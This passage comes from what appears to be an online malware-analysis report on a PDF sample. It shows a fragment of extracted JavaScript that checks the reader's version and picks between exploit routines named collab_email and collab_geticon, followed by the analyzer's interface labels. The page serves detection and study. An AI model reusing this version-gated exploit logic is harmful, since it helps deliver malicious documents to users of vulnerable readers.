((varsion_array[0] < 8) \|\| (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){ collab_email(); } if ((varsion_array[0] < 9) \|\| (varsion_array[0] == 9 && varsion_array[1] < 1)){ collab_geticon(); } } pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 14

Related samples 8

Extracted artifacts 2